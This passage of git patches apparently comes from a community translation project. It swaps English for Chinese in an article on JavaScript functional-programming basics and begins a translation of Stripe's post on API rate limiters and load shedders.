 对于不熟悉 JavaScript 或 ES6+ 的同学，这里做一个简短的介绍。无论你是 JavaScript 开发新手还是有经验的老兵，你都可能学到一些新东西。以下内容仅是毛羽鳞鬣，吊吊大家的兴致。如果想知道更多，还需深入学习。敬请期待吧。
 
@@ -230,49 +230,49 @@ double(2); // 4
 double 4; // SyntaxError: Unexpected number
 ```
 
-### Signatures ###
+### 签名 ###
 
-Functions have signatures, which consist of:
+函数的签名可以包含以下内容：
 
-1. An *optional* function name.
-2. A list of parameter types, in parentheses. The parameters may optionally be named.
-3. The type of the return value.
+1. 一个 **可用的** 函数名。
+2. 在括号里的一组参数。 参数的命名是可选的。
+3. 返回值的类型。
 
-Type signatures don’t need to be specified in JavaScript. The JavaScript engine will figure out the types at runtime. If you provide enough clues, the signature can also be inferred by developer tools such as IDEs (Integrated Development Environment) and [Tern.js](http://ternjs.net/)  using data flow analysis.
+JavaScript 中类型签名并不是强制规定。JavaScript 引擎将会在运行时断定类型。如果你提供足够的线索，签名信息也可以通过开发工具推断出来，比如一些 IDE（集成开发环境）和使用数据流分析的 [Tern.js](http://ternjs.net/)。
 
-JavaScript lacks its own function signature notation, so there are a few competing standards: JSDoc has been very popular historically, but it’s awkwardly verbose, and nobody bothers to keep the doc comments up-to-date with the code, so many JS developers have stopped using it.
+JavaScript 缺少它自己的函数签名语法，所以有几个竞争标准：JSDoc 在历史上非常流行，但它太过笨拙臃肿，没有人会不厌其烦地维护文档十七与代码同步，所以很多 JS 开发者都弃坑了。
 
-TypeScript and Flow are currently the big contenders. I’m not sure how to express everything I need in either of those, so I use [Rtype](https://github.com/ericelliott/rtype), for documentation purposes only. Some people fall back on Haskell’s curry-only [Hindley–Milner types](http://web.cs.wpi.edu/~cs4536/c12/milner-damas_principal_types.pdf) . I’d love to see a good notation system standardized for JavaScript, if only for documentation purposes, but I don’t think any of the current solutions are up to the task, at present. For now, squint and do your best to keep up with the weird type signatures which probably look slightly different from whatever you’re using.
+TypeScript 和 Flow 是目前的大竞争者。这二者都不能让我确定地知道怎么表达我需要的一切，所以我使用 [Rtype](https://github.com/ericelliott/rtype)，仅仅用于写文档。一些人倒退回 Haskell 的 curry-only [Hindley–Milner 类型系统](http://web.cs.wpi.edu/~cs4536/c12/milner-damas_principal_types.pdf)。如果仅用于文档，我很乐意看到 JavaScript 能有一个好的标记系统标准，但目前为止，我觉得当前的解决方案没有能胜任这个任务的。现在，怪异的类型标记即使和你在用的不尽相同，也就将就先用着吧。
 
 ```
 functionName(param1: Type, param2: Type) => Type
 ```
 
-The signature for double is:
+double 函数的签名是：
 
 ```
 double(x: n) => n
 ```
 
-In spite of the fact that JavaScript doesn’t require signatures to be annotated, knowing what signatures *are* and what they *mean* will still be important in order to communicate efficiently about how functions are used, and how functions are composed. Most reusable function composition utilities require you to pass functions which share the same type signature.
+尽管事实上 JavaScript 不需要注释签名，知道何为签名和签名意味着什么依然很重要，它有助于你搞笑的交流函数是如何使用和如何构建的。大多数可重复使用的函数构建工具都需要你传入共享同样类型签名的函数。
 
-### Default Parameter Values ###
+### 默认参数值 ###
 
-JavaScript supports default parameter values. The following function works like an identity function (a function which returns the same value you pass in), unless you call it with `undefined`, or simply pass no argument at all -- then it returns zero, instead:
+JavaScript 支持默认参数值。下面这个函数类似一个恒等函数（以你传入参数为返回值的函数），一旦你用 `undefined` 调用它，或者根本不传入参数——它就会返回 0，来替代：
 
 ```
 const orZero = (n = 0) => n;
 ```
 
-To set a default, simply assign it to the parameter with the `=` operator in the function signature, as in `n = 0`, above. When you assign default values in this way, type inference tools such as [Tern.js](http://ternjs.net/) , Flow, or TypeScript can infer the type signature of your function automatically, even if you don't explicitly declare type annotations.
+如上，若想设置默认值，只需在传入参数时带上 `=` 操作符，比如 `n = 0`。当你用这种方式传入默认值，像 [Tern.js](http://ternjs.net/)、Flow、或者 TypeScript 这些类型检测工具可以自行推断函数的类型签名，甚至你不需要刻意声明类型注解。
 
-The result is that, with the right plugins installed in your editor or IDE, you’ll be able to see function signatures displayed inline as you’re typing function calls. You’ll also be able to understand how to use a function at a glance based on its call signature. Using default assignments wherever it makes sense can help you write more self-documenting code.
+结果就是这样，在你的编辑器或者 IDE 中安装正确的插件，在你输入函数调用时，你可以看见内联显示的函数签名。依据它的调用签名，函数的使用方法也一目了然。无论起不起作用，使用默认值的做法可以让你的代码更可读。
 
-> Note: Parameters with defaults don’t count toward the function’s `.length` property, which will throw off utilities such as autocurry which depend on the `.length` value. Some curry utilities (such as `lodash/curry`) allow you to pass a custom arity to work around this limitation if you bump into it.
+> 注意： 使用默认值的参数不会增加函数的 `.length` 属性，比如使用依赖 `.length` 值的自动柯里化会抛出不可用异常。如果你碰上它，一些柯里化工具（比如 `lodash/curry`）允许你传入自定义参数来绕开这个限制。
 
-### Named Arguments ###
+### 命名参数 ###
 
-JavaScript functions can take object literals as arguments and use destructuring assignment in the parameter signature in order to achieve the equivalent of named arguments. Notice, you can also assign default values to parameters using the default parameter feature:
+JavaScript 函数可以传入对象字面量作为参数，并且使用对象解构来分配参数标识，这样做可以达到命名参数的同样效果。注意，你也可以使用默认参数特性传入默认值。
 
 ```
 const createUser = ({
@@ -297,36 +297,37 @@ george;
 */
 ```
 
-### Rest and Spread ###
+### 剩余和展开 ###
 
-A common feature of functions in JavaScript is the ability to gather together a group of remaining arguments in the functions signature using the rest operator: `...`
+JavaScript 中函数共有的一个特性是可以在函数参数中使用剩余操作符 `...` 来将一组剩余的参数聚集到一起。
 
-For example, the following function simply discards the first argument and returns the rest as an array:
+例如下面这个函数简单地丢弃第一个参数，返回其余的参数：
 
 ```
 const aTail = (head, ...tail) => tail;
 aTail(1, 2, 3); // [2, 3]
 ```
 
-Rest gathers individual elements together into an array. Spread does the opposite: it spreads the elements from an array to individual elements. Consider this:
+剩余参数将各个元素组成一个数组。而扩展操作恰恰相反：它将一个数组中的元素扩展为独立元素。研究一下这个：
 
 ```
 const shiftToLast = (head, ...tail) => [...tail, head];
 shiftToLast(1, 2, 3); // [2, 3, 1]
 ```
 
-Arrays in JavaScript have an iterator that gets invoked when the spread operator is used. For each item in the array, the iterator delivers a value. In the expression, `[...tail, head]`, the iterator copies each element in order from the `tail` array into the new array created by the surrounding literal notation. Since the head is already an individual element, we just plop it onto the end of the array and we're done.
+JavaScript 数组在使用扩展操作符的时候会调用一个迭代器，对于数组中的每一个元素，迭代器丢回传递一个值。在 `[...tail, head]` 表达式中，迭代器按顺序从 `tail` 数组中拷贝到一个刚刚创建的新的数组。之前 head 已经是一个独立元素了，我们只需把它放到数组的末端，就完成了。
 
-### Currying ###
+### 柯里化 ###
 
-Curry and partial application can be enabled by returning another function:
+可以通过返回另一个函数来实现柯里化（Curry）和偏应用（partial application）：
 
 ```
 const highpass = cutoff => n => n >= cutoff;
-const gt4 = highpass(4); // highpass() returns a new function
+const gt4 = highpass(4); // highpass() 返回了一个新函数
 ```
 
-You don’t have to use arrow functions. JavaScript also has a `function` keyword. We're using arrow functions because the `function` keyword is a lot more typing. This is equivalent to the `highPass()` definition, above:
+你可以不使用箭头函数。JavaScript 也有一个 `function` 关键字。我们使用箭头函数是因为 `function` 关键字需要打更多的字。
+这种写法和上面的 `highPass()` 定义是一样的：
 
 ```
 const highpass = function highpass(cutoff) {
@@ -336,11 +337,11 @@ const highpass = function highpass(cutoff) {
 };
 ```
 
-The arrow in JavaScript roughly means “function”. There are some important differences in function behavior depending on which kind of function you use (`=>` lacks its own `this`, and can't be used as a constructor), but we'll get to those differences when we get there. For now, when you see `x => x`, think "a function that takes `x` and returns `x`". So you can read `const highpass = cutoff => n => n >= cutoff;` as:
+JavaScript 中箭头的大致异地就是“函数”。使用不同种的方式声明，函数行为会有一些重要的不同点（`=>` 缺少了它自己的 `this` ，不能用于构造），但当我们遇见那就知道不同之处了。现在，当你看见 `x => x`，想到的是 “一个携带 `x` 并且返回 `x` 的函数”。所以 `const highpass = cutoff => n => n >= cutoff;` 可以这样读：
 
-`“highpass` is a function which takes `cutoff` and returns a function which takes `n` and returns the result of `n >= cutoff`".
+“`highpass` 是一个携带 `cutoff` 返回一个携带 `n` 并返回结果 `n >= cutoff` 的函数的函数”
 
-Since `highpass()` returns a function, you can use it to create a more specialized function:
+既然 `highpass()` 返回一个函数，你可以使用它创建一个更独特的函数：
 
 ```
 const gt4 = highpass(4);
@@ -349,13 +350,13 @@ gt4(6); // true
 gt4(3); // false
 ```
 
-Autocurry lets you curry functions automatically, for maximal flexibility. Say you have a function `add3()`:
+自动柯里化让你自动地柯里化函数，以获得最大的灵活性。比如你有一个函数 `add3()`:
 
 ```
 const add3 = curry((a, b, c) => a + b + c);
 ```
 
-With autocurry, you can use it in several different ways, and it will return the right thing depending on how many arguments you pass in:
+使用自动柯里化，你可以有很多种不同方法使用它，它将根据你传入多少个参数返回正确结果：
 
 ```
 add3(1, 2, 3); // 6
@@ -364,22 +365,22 @@ add3(1)(2, 3); // 6
 add3(1)(2)(3); // 6
 ```
 
-Sorry Haskell fans, JavaScript lacks a built-in autocurry mechanism, but you can import one from Lodash:
+令 Haskell 粉遗憾的是，JavaScript 没有内置自动柯里化机制，但你可以从 Lodash 引入：
 
 ```
 $ npm install --save lodash
 ```
 
-Then, in your modules:
+然后在你的模块里:
 
 ```
 import curry from 'lodash/curry';
 ```
 
-Or, you can use the following magic spell:
+或者你可以使用下面这个魔性写法:
 
 ```
-// Tiny, recursive autocurry
+// 精简的递归自动柯里化
 const curry = (
   f, arr = []
 ) => (...args) => (
@@ -389,106 +390,106 @@ const curry = (
 )([...arr, ...args]);
 ```
 
-### Function Composition ###
+### 函数组合 ###
 
-Of course you can compose functions. Function composition is the process of passing the return value of one function as an argument to another function. In mathematical notation:
+当然你能够开始组合函数了。组合函数是传入一个函数的返回值作为参数给另一个函数的过程。用数学符号标识：
 
 ```
 f . g
 ```
 
-Which translates to this in JavaScript:
+翻译成 JavaScript:
 
 ```
 f(g(x))
 ```
 
-It’s evaluated from the inside out:
+这是从内到外地求值：
 
-1. `x` is evaluated
-2. `g()` is applied to `x`
-3. `f()` is applied to the return value of `g(x)`
+1. `x` 是被求数值
+2. `g()` 应用给 `x`
+3. `f()` 应用给 `g(x)` 的返回值
 
-For example:
+例如:
 
 ```
 const inc = n => n + 1;
 inc(double(2)); // 5
 ```
 
-The value `2` is passed into `double()`, which produces `4`. `4` is passed into `inc()` which evaluates to `5`.
+数值 `2` 被传入 `double()`，求得 `4`。 `4` 被传入 `inc()` 求得 `5`。
 
-You can pass any expression as an argument to a function. The expression will be evaluated before the function is applied:
+你可以给函数传入任何表达式作为参数。表达式在函数应用之前被计算:
 
 ```
 inc(double(2) * double(2)); // 17
 ```
 
-Since `double(2)` evaluates to `4`, you can read that as `inc(4 * 4)` which evaluates to `inc(16)` which then evaluates to `17`.
+既然 `double(2)` 求得 `4`，你可以读作 `inc(4 * 4)`，然后计算得 `inc(16)`，然后求得 `17`。
 
-Function composition is central to functional programming. We’ll have a lot more on it later.
+函数组合是函数式编程的核心。我们后面还会介绍很多。
 
-### Arrays ###
+### 数组 ###
 
-Arrays have some built-in methods. A method is a function associated with an object: usually a property of the associated object:
+数组有一些内置方法。方法是指对象关联的函数，通常是这个对象的属性：
 
 ```
 const arr = [1, 2, 3];
 arr.map(double); // [2, 4, 6]
 ```
 
-In this case, `arr` is the object, `.map()` is a property of the object with a function for a value. When you invoke it, the function gets applied to the arguments, as well as a special parameter called `this`, which gets automatically set when the method is invoked. The `this` value is how `.map()` gets access to the contents of the array.
+这个例子里，`arr` 是对象，`.map()` 是一个以函数为值的对象属性。当你调用它，这个函数会被应用给参数，和一个特别的参数叫做 `this`，`this` 在方法被调用之时自动设置。这个 `this` 的存在使 `.map()` 能够访问数组的上下文。
 
-Note that we’re passing the `double` function as a value into `map` rather than calling it. That's because `map` takes a function as an argument and applies it to each item in the array. It returns a new array containing the values returned by `double()`.
+注意我们传递给 `map` 的是 `double` 函数而不是直接调用。因为 `map` 携带一个函数作为参数并将函数应用给数组的每一个元素。它返回一个包含了 `double()` 返回值的新的数组。
 
-Note that the original `arr` value is unchanged:
+注意原始的 `arr` 值没有改变：
 
 ```
 arr; // [1, 2, 3]
 ```
 
-### Method Chaining ###
+### 方法链 ###
 
-You can also chain method calls. Method chaining is the process of directly calling a method on the return value of a function, without needing to refer to the return value by name:
+你也可以链式调用方法。方法链是 在函数返回值上直接调用方法的过程，不需要给返回值命名：
 
 ```
 const arr = [1, 2, 3];
 arr.map(double).map(double); // [4, 8, 12]
 ```
 
-A **predicate** is a function that returns a boolean value (`true` or `false`). The `.filter()` method takes a predicate and returns a new list, selecting only the items that pass the predicate (return `true`) to be included in the new list:
+返回布尔值（`true` 或 `false`）的函数叫做 **谓词**（predicate）。`.filter()` 方法携带谓词并返回一个新的数组，新数组中只包含传入谓词函数（返回 `true`）的元素：
 
 ```
 [2, 4, 6].filter(gt4); // [4, 6]
 ```
 
-Frequently, you’ll want to select items from a list, and then map those items to a new list:
+你常常会想要从一个列表选择一些元素，然后把这些元素序列化到一个新列表中：
 
 ```
 [2, 4, 6].filter(gt4).map(double); [8, 12]
 ```
 
-Note: Later in this text, you’ll see a more efficient way to select and map at the same time using something called a *transducer*, but there are other things to explore first.
+注意：后面的文章你将看到使用叫做 **transducer** 东西更高效地同时选择元素并序列化，不过这之前还有一些其他东西要了解。
 
-### Conclusion ###
+### 总结 ###
 
-If your head is spinning right now, don’t worry. We barely scratched the surface of a lot of things that deserve a lot more exploration and consideration. We’ll circle back and explore some of these topics in much more depth, soon.
+如果你现在有点发懵，不必担心。我们仅仅概览了一下很多事情的表面，它们尚需大量的解释和总结。很快我们就会回过头来，深入探讨其中的一些话题。
 
-[**Continued in “Higher Order Functions”…**](https://medium.com/javascript-scene/higher-order-functions-composing-software-5365cf2cbe99#.egoxjg6x7)
+[**继续阅读 “高阶函数”…**](https://github.com/xitu/gold-miner/blob/master/TODO/higher-order-functions-composing-software.md)
 
-### Next Steps ###
+### 接下来 ###
 
-Want to learn more about functional programming in JavaScript?
+想要学习更多 JavaScript 函数式编程知识？
 
-[Learn JavaScript with Eric Elliott](http://ericelliottjs.com/product/lifetime-access-pass/). If you’re not a member, you’re missing out!
+[和 Eric Elliott 一起学习 JavaScript](http://ericelliottjs.com/product/lifetime-access-pass/)。 如果你不是其中一员，千万别错过！
 
 [<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*3njisYUeHOdyLCGZ8czt_w.jpeg">
 ](https://ericelliottjs.com/product/lifetime-access-pass/)
 
 
-***Eric Elliott*** is the author of [*“Programming JavaScript Applications”*](http://pjabook.com)  (O’Reilly), and [*“Learn JavaScript with Eric Elliott”*](http://ericelliottjs.com/product/lifetime-access-pass/) . He has contributed to software experiences for **Adobe Systems, Zumba Fitness, The Wall Street Journal, ESPN, BBC and top recording artists including Usher, Frank Ocean, Metallica**, and many more.
+***Eric Elliott*** 是 [*“JavaScript 应用程序设计”*](http://pjabook.com)  (O’Reilly) 以及 [*“和 Eric Elliott 一起学习 JavaScript”*](http://ericelliottjs.com/product/lifetime-access-pass/) 的作者。 曾就职于 **Adobe Systems、Zumba Fitness、The Wall Street Journal、ESPN、BBC and top recording artists including Usher、Frank Ocean、Metallica** 等公司，具有丰富的软件实践经验。
 
-*He spends most of his time in the San Francisco Bay Area with the most beautiful woman in the world.*
+*他大多数时间在 San Francisco Bay Area ，和世界上最美丽的姑娘在一起。*
 
 ---
 

From 625ffaaae80a63b42e247caaea9130121e68f9ac Mon Sep 17 00:00:00 2001
From: 1992chenlu <2013luchen@gmail.com>
Date: Sun, 16 Apr 2017 18:22:45 -0700
Subject: [PATCH 181/638] translation v1

---
 TODO/rate-limiters.md | 127 +++++++++++++++++++++---------------------
 1 file changed, 63 insertions(+), 64 deletions(-)

diff --git a/TODO/rate-limiters.md b/TODO/rate-limiters.md
index 897b69a6ca6..fc89eb14fe5 100644
--- a/TODO/rate-limiters.md
+++ b/TODO/rate-limiters.md
@@ -1,136 +1,135 @@
 > * 原文地址：[Scaling your API with rate limiters](https://stripe.com/blog/rate-limiters)
 > * 原文作者：[Paul Tarjan](https://stripe.com/about#pt)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
+> * 译者：鲁辰(https://github.com/1992chenlu)
 > * 校对者：
 
-# [Scaling your API with rate limiters](/blog/rate-limiters) #
+# [使用速率限制扩展你的 API](/blog/rate-limiters) #
 
 
-Availability and reliability are paramount for all web applications and APIs. If you’re providing an API, chances are you’ve already experienced sudden increases in traffic that affect the quality of your service, potentially even leading to a service outage for all your users.
+对于所有的网络应用程序和 API 来说，可利用性和可靠性都是至关重要的。如果你是一个 API 提供者，那么很有可能你经历过对服务质量造成影响的、未预见的流量增长，它有可能会导致对所有用户服务中断。
 
-The first few times this happens, it’s reasonable to just add more capacity to your infrastructure to accommodate user growth. However, when you’re running a production API, not only do you have to make it robust with techniques like [idempotency](/blog/idempotency), you also need to build for scale and ensure that one bad actor can’t accidentally or deliberately affect its availability.
+这种现象最初发生时，在基础设施中增加容量以承载用户增长是一种合理的解决方式。但是，对于运行在生产环境的 API，不仅要使用类似[idempotency](/blog/idempotency)的技术以确保健壮性，还需要为扩展建立基础，并保证一个异常用户不论是否故意都无法影响它的可利用性。
 
-Rate limiting can help make your API more reliable in the following scenarios:
+下面这些情况中，速率限制可以让你的 API 更可靠：
 
-- One of your users is responsible for a spike in traffic, and you need to stay up for everyone else.
-- One of your users has a misbehaving script which is accidentally sending you a lot of requests. Or, even worse, one of your users is intentionally trying to overwhelm your servers.
-- A user is sending you a lot of lower-priority requests, and you want to make sure that it doesn’t affect your high-priority traffic. For example, users sending a high volume of requests for analytics data could affect critical transactions for other users.
-- Something in your system has gone wrong internally, and as a result you can’t serve all of your regular traffic and need to drop low-priority requests.
+- 一个用户导致流量达到峰值，而你还有其他用户，不能挂掉。
+- 一个用户使用异常的脚本，意外地发送了许多请求。或者，更糟的情况下，一个用户故意想要压垮你的服务器。
+- 一个用户发送了许多低优先级的请求，你需要保证它们不会影响到高优先级的流量。比如，一个用户对分析数据的大量请求可能影响到其他用户的关键事务。
+- 系统内部发生一些问题，不能为所有正常请求提供服务，需要放弃一些低优先级的请求。
 
-At Stripe, we’ve found that carefully implementing a few [rate limiting](https://en.wikipedia.org/wiki/Rate_limiting) strategies helps keep the API available for everyone. In this post, we’ll explain in detail which rate limiting strategies we find the most useful, how we prioritize some API requests over others, and how we started using rate limiters safely without affecting our existing users’ workflows.
 
+在 Stripe，我们发现谨慎地实现一些[速率限制](https://en.wikipedia.org/wiki/Rate_limiting)策略有助于保证 API 对所有用户的可利用性。在这篇文章中，我们会解释我们所发现的最有效的速率限制策略，怎样提高一部分 API 请求的优先级，以及怎么在没有影响到现有用户的工作流的情况下，开始安全地使用速率限制的。
 
-## Rate limiters and load shedders
+## 速率限制与减载
 
-A *rate limiter* is used to control the rate of traffic sent or received on the network. When should you use a rate limiter? If your users can afford to change the pace at which they hit your API endpoints without affecting the outcome of their requests, then a rate limiter is appropriate. If spacing out their requests is not an option (typically for real-time events), then you’ll need another strategy outside the scope of this post (most of the time you just need more infrastructure capacity).
+速率限制器可以控制在网络上发送或接收数据的比率。什么时候可以使用速率限制器呢？如果在用户向你的 API 端点发送请求的频率被改变的情况下，用户请求的结果不会受到影响。那么在这种情况下是适合使用速率限制器的。如果把请求之间的时间间隔来开不是一个选项（对于实时事件来说这很典型），那么你需要使用本文范围以外的其他策略（大多数时候你只是需要给基础设施中增加容量）。
 
-Our users can make a lot of requests: for example, batch processing payments causes sustained traffic on our API. We find that clients can always (barring some extremely rare cases) spread out their requests a bit more and not be affected by our rate limits.
+我们的用户可以发送很多请求：例如，支付的批处理会给我们的 API 造成持续的流量。我们发现客户总是可以（除了某些极端少见的情况）将他们的请求分散，以保证不会受到我们速率限制的影响。
 
-Rate limiters are amazing for day-to-day operations, but during incidents (for example, if a service is operating more slowly than usual), we sometimes need to drop low-priority requests to make sure that more critical requests get through. This is called *load shedding*. It happens infrequently, but it is an important part of keeping Stripe available.
+速率限制器对于日常的操作来说很有用，但是当意外发生时（例如，服务比延迟比平时大），我们有时需要放弃低优先级的请求，以保证更重要的请求被及时处理。这个过程叫做*减载*。这并不会经常发生，但对于保持 Stripe 的可利用性很重要。
 
-A *load shedder* makes its decisions based on the whole state of the system rather than the user who is making the request. Load shedders help you deal with emergencies, since they keep the core part of your business working while the rest is on fire.
+减载器是基于整个系统的状态，而不是发出请求的用户来做决策的。减载器能帮助你处理紧急情况，因为当系统其他部分出问题的时候，它会保持你的业务核心稳定运行。
 
 
-## Using different kinds of rate limiters in concert
+## 协调使用不同种类的速率限制器
 
-Once you know rate limiters can improve the reliability of your API, you should decide which types are the most relevant.
+当你知道速率限制器可以提高你的 API 的可靠性之后，你需要决定哪一种最符合你的需要。
 
-At Stripe, we operate 4 different types of limiters in production. The first one, the *Request Rate Limiter*, is by far the most important one. We recommend you start here if you want to improve the robustness of your API.
+在 Stripe，我们在生产环境使用 4 种不同的限制器。第一种，*请求速率限制（Request Rate Limiter）*，是最重要的。如果你想提高你的 API 的健壮性，我们建议你从这一种开始。
 
-### Request rate limiter
+### 请求速率限制（Request Rate Limiter）
 
-This rate limiter restricts each user to *N* requests per second. Request rate limiters are the first tool most APIs can use to effectively manage a high volume of traffic.
+这种速率限制限定了每个用户每秒最多 *N* 个请求。在有效的管理高流量这个问题上，请求速率限制是大多数 API 可以使用的第一个工具。
 
-Our rate limits for requests is constantly triggered. It has rejected millions of requests this month alone, especially for test mode requests where a user inadvertently runs a script that’s gotten out of hand.
+我们对于请求的速率限制一直处于被触发的状态。仅仅这一个月，它就拒绝了多达百万的请求，其中主要是用户漫不经心地运行脚本发出的测试模式请求。
 
-Our API provides the same rate limiting behavior in both test and live modes. This makes for a good developer experience: scripts won't encounter side effects due to a particular rate limit when moving from development to production.
+在测试和实时模式，我们的 API 提供了相同的速率限制行为。这会给开发者带来更好的体验：脚本从开发环境迁移到生产环境的过程中，不会遇到因为特定的速率限制而产生的问题。
 
-After analyzing our traffic patterns, we added the ability to briefly burst above the cap for sudden spikes in usage during real-time events (e.g. a flash sale.)
+在分析了我们的流量模式之后，我们对实时事件（比如：秒杀活动）加入了一项新能力，在突然的使用高峰到来时，暂时性地允许流量超过限制。
 
 ![](https://stripe.com/img/blog/posts/rate-limiters/1-request-rate-limiter.svg)
 
-Request rate limiters restrict users to a maximum number of requests per second.
+请求速率限制限定了用户每秒钟可以发送的最大请求数。
 
-### Concurrent requests limiter
+### 并发请求限制
 
-Instead of “You can use our API 1000 times a second”, this rate limiter says “You can only have 20 API requests in progress at the same time”. Some endpoints are much more resource-intensive than others, and users often get frustrated waiting for the endpoint to return and then retry. These retries add more demand to the already overloaded resource, slowing things down even more. The concurrent rate limiter helps address this nicely.
+这种速率限制不会有“你每一秒钟最多可以使用我们的 API 1000 次”这种限制，而是使用“你最多只能同时有 20 个正在被处理的请求”这种限制。有一些端点会比其他端点有更密集地使用资源，等待端点返回结果接着又重试的过程会使用户也变得很沮丧。这些重试请求会给本来已经负荷过重的资源增加更多需求，让整个过程更加缓慢。并发请求限制可以很好的帮助你解决这个问题。
 
-Our concurrent request limiter is triggered much less often (12,000 requests this month), and helps us keep control of our CPU-intensive API endpoints. Before we started using a concurrent requests limiter, we regularly dealt with resource contention on our most expensive endpoints caused by users making too many requests at one time. The concurrent request limiter totally solved this.
+我们的并发请求限制并不会那么经常被触发（这个月发生了 12000 次），它帮助我们控制那些 CPU 密集型的 API 端点。在我们开始使用并发请求限制之前，我们经常要处理，由于用户一次发出过多请求导致的，发生在我们最昂贵的端点上的资源争夺。并发请求限制完全解决了这个问题。
 
-It is completely reasonable to tune this limiter up so it rejects more often than the Request Rate Limiter. It asks your users to use a different programming model of “Fork off X jobs and have them process the queue” compared to “Hammer the API and back off when I get a HTTP 429”. Some APIs fit better into one of those two patterns so feel free to use which one is most suitable for the users of your API.
+调整这种限制使它拒绝的请求比请求速率限制更多，这也是一种合理的做法。这会要求你的用户使用一种“分支出 X 个作业对队列做处理”的模式，而不是“连续对 API 发出请求并在收到 HTTP 429 响应时退避（back off）”（译注：这里的退避（back off）的意思是等待一定时间后重新发送请求）。有些 API 更适合这两种模式中的一种，所以请选择更适于你的 API 的使用者的模式。
 
 ![](https://stripe.com/img/blog/posts/rate-limiters/2-concurrent-requests-limiter.svg)
 
-Concurrent request limiters manage resource contention for CPU-intensive API endpoints.
+并发请求限制为 CPU 密集型的 API 端点管理资源竞争。
 
-### Fleet usage load shedder
+### 机队（fleet）使用量减载
 
-Using this type of load shedder ensures that a certain percentage of your fleet will always be available for your most important API requests.
+使用这类减载保证了对于你最重要的 API 请求来说，你的机队（fleet）中一定的百分比一直是可利用的。
 
-We divide up our traffic into two types: critical API methods (e.g. creating charges) and non-critical methods (e.g. listing charges.) We have a Redis cluster that counts how many requests we currently have of each type.
+我们把我们的流量分为两类：关键的 API 方法（比如：创建费用记录）和非关键的方法（比如：列出费用记录）。我们有一个 Redis 集群用来计算当前每种类型的请求分别有多少。
 
-We always reserve a fraction of our infrastructure for critical requests. If our reservation number is 20%, then any non-critical request over their 80% allocation would be rejected with status code 503.
+我们一直为关键请求预留出我们基础设施的一部分。如果预留比例是 20%，那么任何超出 80% 配额的非关键请求都会被以 503 状态码拒绝。
 
-We triggered this load shedder for a very small fraction of requests this month. By itself, this isn’t a big deal—we definitely had the ability to handle those extra requests. But we’ve had other months where this has prevented outages.
+这个月，只有很小比例的请求触发了我们的减载器。这些请求并不是很大量的——我们当时绝对有能力处理这些多余的请求。但是此前，这帮我们阻止了数次服务中断。
 
 ![](https://stripe.com/img/blog/posts/rate-limiters/2-concurrent-requests-limiter.svg)
 
-Fleet usage load shedders reserves fleet resources for critical requests.
+机队（fleet）使用量减载为关键请求预留机队（fleet）资源。
 
-### Worker utilization load shedder
+### Worker 使用率减载
 
-Most API services use a set of workers to independently respond to incoming requests in a parallel fashion. This load shedder is the final line of defense. If your workers start getting backed up with requests, then this will shed lower-priority traffic.
+大多数 API 服务都有一组 worker 以并行的方式独立地响应请求。Worker 使用率减载是系统的最后一道防线。如果你的 worker 开始备份一些请求，那么之后低优先级的流量会被放弃。
 
-This one gets triggered very rarely, only during major incidents.
+这种减载器被触发的情况很少见，只有在一些重大事件发生时会被触发。
 
-We divide our traffic into 4 categories:
+我们把我们的流量分成四类：
 
-1. Critical methods
-2. POSTs
-3. GETs
-4. Test mode traffic
+1. 关键方法
+2. POST 请求
+3. GET 请求
+4. 测试模式流量
 
-We track the number of workers with available capacity at all times. If a box is too busy to handle its request volume, it will slowly start shedding less-critical requests, starting with test mode traffic. If shedding test mode traffic gets it back into a good state, great! We can start to slowly bring traffic back. Otherwise, it’ll escalate and start shedding even more traffic.
+我们时刻记录 worker 的数量及可利用的容量。如果一台主机太过繁忙以至于无法处理它的请求容量，它会一点点开始去除一些不那么关键的请求，从测试模式的流量开始。如果去掉测试模式的流量之后，它回到了正常状态，很好！我们可以开始慢慢地处理更多流量。否则，它会扩大减载的规模，并开始减去更多的流量。
 
-It’s very important that shedding and bringing load happen slowly, or you can end up flapping (“I got rid of testmode traffic! Everything is fine! I brought it back! Everything is awful!”). We used a lot of trial and error to tune the rate at which we shed traffic, and settled on a rate where we shed a substantial amount of traffic within a few minutes.
+非常重要的一点是缓慢的减去和增加负载量，否则你会陷入持续的状态变动（“我摆脱了测试模式的流量！一切正常！我把它们拿回来处理了！一切糟透了！”）。我们用试错法多次调整我们减载的速率，最终确定了一个在几分钟的时间范围内减掉大量流量的速率。
 
-Only 100 requests were rejected this month from this rate limiter, but in the past it’s done a lot to help us recover more quickly when we have had load problems. This load shedder limits the impact of incidents that are already happening and provides damage control, while the first three are more preventative.
+这个月只有 100 个请求被这种速率限制器拒绝，但是过去它帮助我们从负载过大的问题中更迅速的恢复。这种减载限制了已经发生的事故的影响，提供了对损失的控制，而前三种减载机制更具预防性。
 
 ![](https://stripe.com/img/blog/posts/rate-limiters/4-worker-utilization-load-shedder.svg)
 
-Worker utilization load shedders reserve workers for critical requests.
+Worker 使用率减载为关键请求预留出一部分 worker。
 
 
-## Building rate limiters in practice
+## 速率限制实现
 
-Now that we’ve outlined the four basic kinds of rate limiters we use and what they’re for, let’s talk about their implementation. What rate limiting algorithms are there? How do you actually implement them in practice?
+现在，我们已经概述了四种基本类型的速率限制器，以及在什么情况下使用它们，我们再来谈谈它们是怎么实现的。有哪些速率限制算法？怎么在实际应用中实现它们？
 
-We use the [token bucket algorithm](https://en.wikipedia.org/wiki/Token_bucket) to do rate limiting. This algorithm has a centralized bucket host where you take tokens on each request, and slowly drip more tokens into the bucket. If the bucket is empty, reject the request. In our case, every Stripe user has a bucket, and every time they make a request we remove a token from that bucket.
+我们使用[令牌桶算法（token bucket algorithm）](https://en.wikipedia.org/wiki/Token_bucket)实现速率限制。这个算法有集中桶主机，在那里你可以为每个请求取出 token（译注：消耗令牌），同时缓慢的将更多的 token 被放进桶中（译注：生产令牌）。如果桶是空的，拒绝请求。在我们的例子中，每个 Stripe 用户都有一个桶，每次他们发出一个请求，我们就从令牌桶中移除一个 token。
 
-We implement our rate limiters using Redis. You can either operate the Redis instance yourself, or, if you use Amazon Web Services, you can use a managed service like [ElastiCache](https://aws.amazon.com/elasticache/).
+我们使用 Redis 实现速率限制。你可以自己操作 Redis 实例，或者，如果你使用 AWS，你可以使用一个有管理的服务，比如[ElastiCache](https://aws.amazon.com/elasticache/)。
 
-Here are important things to consider when implementing rate limiters:
+这里有一些实现速率限制时需要考虑的重要事项：
 
